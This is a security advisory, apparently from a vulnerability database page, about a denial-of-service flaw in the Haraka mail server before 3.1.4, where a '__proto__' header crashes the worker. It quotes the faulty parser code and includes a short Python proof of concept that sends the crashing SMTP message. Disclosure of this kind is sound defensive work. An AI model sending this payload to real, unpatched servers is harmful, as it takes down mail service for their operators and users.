| Package | Affected versions | Patched versions |
|---|---|---|
| haraka | < 3.1.4 | 3.1.4 |
| Haraka | < 3.1.4 | 3.1.4 |
Sending an email with __proto__: as a header name crashes the Haraka worker process.
The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:
_add_header(key, value, method) {
this.headers[key] ??= [] // line 216
this.headers[key][method](value) // line 217
}
When key is __proto__:
this.headers['__proto__'] returns Object.prototype (the prototype getter)Object.prototype is not null/undefined, so ??= is skippedObject.prototype.push(value) throws TypeError: not a functionThe TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):
process.on('uncaughtException', (err) => {
if (err.stack) {
err.stack.split('\n').forEach((line) => logger.crit(line))
} else {
logger.crit(`Caught exception: ${JSON.stringify(err)}`)
}
logger.dump_and_exit(1)
})
import socket, time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: [email protected]\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")
In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free